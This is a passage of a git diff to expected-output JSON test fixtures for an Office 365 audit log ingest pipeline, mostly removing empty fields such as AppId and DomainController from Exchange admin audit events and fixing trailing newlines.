"CreationTime": "2020-02-07T20:49:09",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{505B6405-958B-45A0-BAAE-76A0D7ACAE83}",
@@ -2842,8 +2758,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:49:10",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{61D4A3E5-D6B5-401C-B13A-CCAD2BA8E8E9}",
@@ -2922,8 +2836,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:49:21",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{61D4A3E5-D6B5-401C-B13A-CCAD2BA8E8E9}",
@@ -3002,8 +2914,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:14",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{E9F19AD5-5B1D-4361-BE94-E55A6E1A6AA3}",
@@ -3082,8 +2992,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:48:42",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}",
@@ -3159,14 +3067,11 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:49:55",
"ExternalAccess": true,
"ObjectId": "testsiem.onmicrosoft.com\\Admin Audit Log Settings",
"Parameters": {
"AdminAuditLogEnabled": "True",
- "DomainController": "",
"Identity": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com",
"IgnoreDehydratedFlag": "True"
},
@@ -3228,13 +3133,10 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:49:52",
"ExternalAccess": true,
"ObjectId": "testsiem.onmicrosoft.com\\Transport Settings",
"Parameters": {
- "DomainController": "",
"HygieneSuite": "Premium",
"Identity": "testsiem.onmicrosoft.com"
},
@@ -3296,13 +3198,10 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:48:52",
"ExternalAccess": true,
"ObjectId": "testsiem.onmicrosoft.com\\Transport Settings",
"Parameters": {
- "DomainController": "",
"Identity": "testsiem.onmicrosoft.com",
"OrganizationFederatedMailbox": "FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042@testsiem.onmicrosoft.com"
},
@@ -3364,13 +3263,10 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:48:06",
"ExternalAccess": true,
"ObjectId": "testsiem.onmicrosoft.com\\ExchangeAssistance",
"Parameters": {
- "DomainController": "",
"IgnoreDehydratedFlag": "True",
"Organization": "testsiem.onmicrosoft.com"
},
@@ -3432,8 +3328,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:12",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/Migration.8f3e7716-2011-43e4-96b1-aba62d229136",
@@ -3514,8 +3408,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:18",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/TenantAllowBlocLists_F0767F09-6B4C-4F78-9234-2C0481176063",
@@ -3594,8 +3486,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:49:21",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{61D4A3E5-D6B5-401C-B13A-CCAD2BA8E8E9}",
@@ -3674,8 +3564,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:15",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{61D4A3E5-D6B5-401C-B13A-CCAD2BA8E8E9}",
@@ -3754,8 +3642,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:14",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{D5FD6316-0A84-416F-8512-3E97EBAF9B1D}",
@@ -3834,8 +3720,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:17",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{D5FD6316-0A84-416F-8512-3E97EBAF9B1D}",
@@ -3914,8 +3798,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:48:57",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{D5FD6316-0A84-416F-8512-3E97EBAF9B1D}",
@@ -3994,8 +3876,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:49:02",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{D5FD6316-0A84-416F-8512-3E97EBAF9B1D}",
@@ -4074,8 +3954,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:15",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{E9F19AD5-5B1D-4361-BE94-E55A6E1A6AA3}",
@@ -4154,8 +4032,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:48:51",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042",
@@ -4234,8 +4110,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:17",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{61D4A3E5-D6B5-401C-B13A-CCAD2BA8E8E9}",
@@ -4314,8 +4188,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:17",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{E9F19AD5-5B1D-4361-BE94-E55A6E1A6AA3}",
@@ -4394,13 +4266,10 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:23",
"ExternalAccess": true,
"ObjectId": "testsiem.onmicrosoft.com\\Recipient Quota Policy",
"Parameters": {
- "DomainController": "",
"Identity": "testsiem.onmicrosoft.com\\Recipient Quota Policy",
"IgnoreDehydratedFlag": "True",
"PublicFolderHierarchyMailboxCountQuota": "100"
@@ -4463,14 +4332,11 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:24",
"ExternalAccess": true,
"ObjectId": "testsiem.onmicrosoft.com\\Admin Audit Log Settings",
"Parameters": {
"AdminAuditLogEnabled": "True",
- "DomainController": "",
"Identity": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com",
"IgnoreDehydratedFlag": "True"
},
@@ -4532,8 +4398,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:15",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{505B6405-958B-45A0-BAAE-76A0D7ACAE83}",
@@ -4612,8 +4476,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:17",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{505B6405-958B-45A0-BAAE-76A0D7ACAE83}",
@@ -4692,14 +4554,11 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:24",
"ExternalAccess": true,
"ObjectId": "testsiem.onmicrosoft.com\\Admin Audit Log Settings",
"Parameters": {
"AdminAuditLogEnabled": "True",
- "DomainController": "",
"Identity": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com",
"IgnoreDehydratedFlag": "True"
},
@@ -4761,8 +4620,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:49:34",
"ExternalAccess": true,
"ObjectId": "testsiem.onmicrosoft.com\\OwaMailboxPolicy-Default",
@@ -4828,8 +4685,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:12",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/Migration.8f3e7716-2011-43e4-96b1-aba62d229136",
@@ -4910,8 +4765,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:14",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{61D4A3E5-D6B5-401C-B13A-CCAD2BA8E8E9}",
@@ -4990,8 +4843,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:13",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042",
@@ -5070,8 +4921,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:49:02",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{368F7EFB-D8B2-448B-A304-41EA44801476}",
@@ -5150,8 +4999,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:48:57",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{505B6405-958B-45A0-BAAE-76A0D7ACAE83}",
@@ -5230,8 +5077,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:15",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{61D4A3E5-D6B5-401C-B13A-CCAD2BA8E8E9}",
@@ -5310,8 +5155,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:49:21",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{61D4A3E5-D6B5-401C-B13A-CCAD2BA8E8E9}",
@@ -5390,8 +5233,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:17",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{E9F19AD5-5B1D-4361-BE94-E55A6E1A6AA3}",
@@ -5470,14 +5311,11 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:48:04",
"ExternalAccess": true,
"ObjectId": "testsiem.onmicrosoft.com",
"Parameters": {
"DoNotUpdateRecipients": "True",
- "DomainController": "",
"Identity": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com"
},
"RecordType": "1",
@@ -5538,14 +5376,11 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:49:55",
"ExternalAccess": true,
"ObjectId": "testsiem.onmicrosoft.com\\Admin Audit Log Settings",
"Parameters": {
"AdminAuditLogEnabled": "True",
- "DomainController": "",
"Identity": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com",
"IgnoreDehydratedFlag": "True"
},
@@ -5607,8 +5442,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:24",
"ExternalAccess": true,
"ObjectId": "testsiem.onmicrosoft.com\\ExchangeAssistance15",
@@ -5675,13 +5508,10 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:23",
"ExternalAccess": true,
"ObjectId": "testsiem.onmicrosoft.com\\Recipient Quota Policy",
"Parameters": {
- "DomainController": "",
"Identity": "testsiem.onmicrosoft.com\\Recipient Quota Policy",
"IgnoreDehydratedFlag": "True",
"PublicFolderHierarchyMailboxCountQuota": "100"
@@ -5744,13 +5574,10 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:24",
"ExternalAccess": true,
"ObjectId": "testsiem.onmicrosoft.com",
"Parameters": {
- "DomainController": "",
"Identity": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com"
},
"RecordType": "1",
@@ -5811,14 +5638,11 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:49:49",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/DiscoverySearchMailbox{D919BA05-46A6-415f-80AD-7E09334BB852}",
"Parameters": {
"AccessRights": "FullAccess",
- "DomainController": "",
"Identity": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/DiscoverySearchMailbox{D919BA05-46A6-415f-80AD-7E09334BB852}",
"User": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/Discovery Management"
},
@@ -5883,13 +5707,10 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:49:49",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/DiscoverySearchMailbox{D919BA05-46A6-415f-80AD-7E09334BB852}",
"Parameters": {
- "DomainController": "",
"Identity": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/DiscoverySearchMailbox{D919BA05-46A6-415f-80AD-7E09334BB852}"
},
"RecordType": "1",
@@ -5950,14 +5771,11 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:49:55",
"ExternalAccess": true,
"ObjectId": "testsiem.onmicrosoft.com\\Admin Audit Log Settings",
"Parameters": {
"AdminAuditLogEnabled": "True",
- "DomainController": "",
"Identity": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com",
"IgnoreDehydratedFlag": "True"
},
@@ -6019,8 +5837,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:12",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/SystemMailbox{D0E409A0-AF9B-4720-92FE-AAC869B0D201}",
@@ -6099,8 +5915,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:15",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{505B6405-958B-45A0-BAAE-76A0D7ACAE83}",
@@ -6179,8 +5993,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:49:03",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{505B6405-958B-45A0-BAAE-76A0D7ACAE83}",
@@ -6259,8 +6071,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:49:21",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{61D4A3E5-D6B5-401C-B13A-CCAD2BA8E8E9}",
@@ -6339,8 +6149,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:49:04",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{61D4A3E5-D6B5-401C-B13A-CCAD2BA8E8E9}",
@@ -6419,8 +6227,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:49:21",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{E9F19AD5-5B1D-4361-BE94-E55A6E1A6AA3}",
@@ -6499,8 +6305,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:14",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{E9F19AD5-5B1D-4361-BE94-E55A6E1A6AA3}",
@@ -6579,8 +6383,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:48:57",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{D5FD6316-0A84-416F-8512-3E97EBAF9B1D}",
@@ -6659,14 +6461,11 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:21",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/DiscoverySearchMailbox{D919BA05-46A6-415f-80AD-7E09334BB852}",
"Parameters": {
"AccessRights": "FullAccess",
- "DomainController": "",
"Identity": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/DiscoverySearchMailbox{D919BA05-46A6-415f-80AD-7E09334BB852}",
"User": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/Discovery Management"
},
@@ -6731,8 +6530,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:48:57",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{E9F19AD5-5B1D-4361-BE94-E55A6E1A6AA3}",
@@ -6811,8 +6608,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:13",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/FederatedEmail.4c1f4d8b-8179-4148-93bf-00a95fa1e042",
@@ -6891,14 +6686,11 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:07",
"ExternalAccess": true,
"ObjectId": "testsiem.onmicrosoft.com",
"Parameters": {
"DoNotUpdateRecipients": "True",
- "DomainController": "",
"Identity": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com"
},
"RecordType": "1",
@@ -6959,8 +6751,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:14",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{368F7EFB-D8B2-448B-A304-41EA44801476}",
@@ -7039,13 +6829,10 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:48:32",
"ExternalAccess": true,
"ObjectId": "testsiem.onmicrosoft.com\\Resource Schema",
"Parameters": {
- "DomainController": "",
"Organization": "testsiem.onmicrosoft.com"
},
"RecordType": "1",
@@ -7106,13 +6893,10 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:23",
"ExternalAccess": true,
"ObjectId": "testsiem.onmicrosoft.com\\Recipient Quota Policy",
"Parameters": {
- "DomainController": "",
"Identity": "testsiem.onmicrosoft.com\\Recipient Quota Policy",
"IgnoreDehydratedFlag": "True",
"PublicFolderHierarchyMailboxCountQuota": "100"
@@ -7175,8 +6959,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:48:42",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}",
@@ -7252,8 +7034,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:16",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{505B6405-958B-45A0-BAAE-76A0D7ACAE83}",
@@ -7332,13 +7112,10 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:49:52",
"ExternalAccess": true,
"ObjectId": "testsiem.onmicrosoft.com\\Recipient Quota Policy",
"Parameters": {
- "DomainController": "",
"Identity": "testsiem.onmicrosoft.com\\Recipient Quota Policy",
"IgnoreDehydratedFlag": "True",
"PublicFolderHierarchyMailboxCountQuota": "100"
@@ -7401,8 +7178,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:15",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{368F7EFB-D8B2-448B-A304-41EA44801476}",
@@ -7481,8 +7256,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:48:44",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/Migration.8f3e7716-2011-43e4-96b1-aba62d229136",
@@ -7563,8 +7336,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-10T07:37:16",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/QuarantineOrgShard{D5FD6316-0A84-416F-8512-3E97EBAF9B1D}",
@@ -7615,4 +7386,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-exchange-item-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-exchange-item-events.json-expected.json
index 3ffd5425e33..4078b0a539b 100644
--- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-exchange-item-events.json-expected.json
+++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-exchange-item-events.json-expected.json
@@ -820,4 +820,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-ip-formats-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-ip-formats-events.json-expected.json
index 25a8c24810b..33509ada0d9 100644
--- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-ip-formats-events.json-expected.json
+++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-ip-formats-events.json-expected.json
@@ -594,4 +594,4 @@
]
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-modified-properites.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-modified-properites.json-expected.json
index 9001a6c5fba..641d3c33e1d 100644
--- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-modified-properites.json-expected.json
+++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-modified-properites.json-expected.json
@@ -59,10 +59,6 @@
"LogonUserSid": "S-1-5-21-0123456789-012345678-901234567-8912345",
"MailboxGuid": "00112233-4455-6677-8899-aabbccddeeff",
"MailboxOwnerSid": "S-1-5-21-0123456789-012345678-901234567-8912345",
- "ModifiedProperties": {
- "CreationTime": {},
- "HtmlBody": {}
- },
"RecordType": "2",
"ResultStatus": "Succeeded",
"UserId": "user@example.com",
@@ -112,4 +108,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-ms-teams-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-ms-teams-events.json-expected.json
index 6fa0ddc739b..65cf3a33c3b 100644
--- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-ms-teams-events.json-expected.json
+++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-ms-teams-events.json-expected.json
@@ -36,7 +36,6 @@
"RecordType": "25",
"TeamGuid": "19:5ad83cb367fc48358e759dccff238f46@thread.skype",
"UserId": "Application",
- "UserKey": "",
"UserType": "5",
"Version": "1"
}
@@ -263,4 +262,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-parameter-string.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-parameter-string.json-expected.json
index e1a4d335b6d..56cc1b3321b 100644
--- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-parameter-string.json-expected.json
+++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-parameter-string.json-expected.json
@@ -60,7 +60,6 @@
"ObjectId": "Unknown",
"RecordType": "15",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "Unknown",
@@ -139,8 +138,6 @@
},
"o365": {
"audit": {
- "AppId": "",
- "ClientAppId": "",
"CreationTime": "2020-02-07T20:49:49",
"ExternalAccess": true,
"ObjectId": "EURPR01A002.prod.outlook.com/Microsoft Exchange Hosted Organizations/testsiem.onmicrosoft.com/DiscoverySearchMailbox{D919BA05-46A6-415f-80AD-7E09334BB852}",
@@ -177,4 +174,4 @@
}
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-platform-attribute-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-platform-attribute-events.json-expected.json
index 4e5ff36d3f6..7457c63cd6d 100644
--- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-platform-attribute-events.json-expected.json
+++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-platform-attribute-events.json-expected.json
@@ -51,4 +51,4 @@
]
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-sec-comp-alerts-events.json-expected.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-sec-comp-alerts-events.json-expected.json
index 3f0ef8bd999..444c21eec6f 100644
--- a/packages/o365/data_stream/audit/_dev/test/pipeline/test-sec-comp-alerts-events.json-expected.json
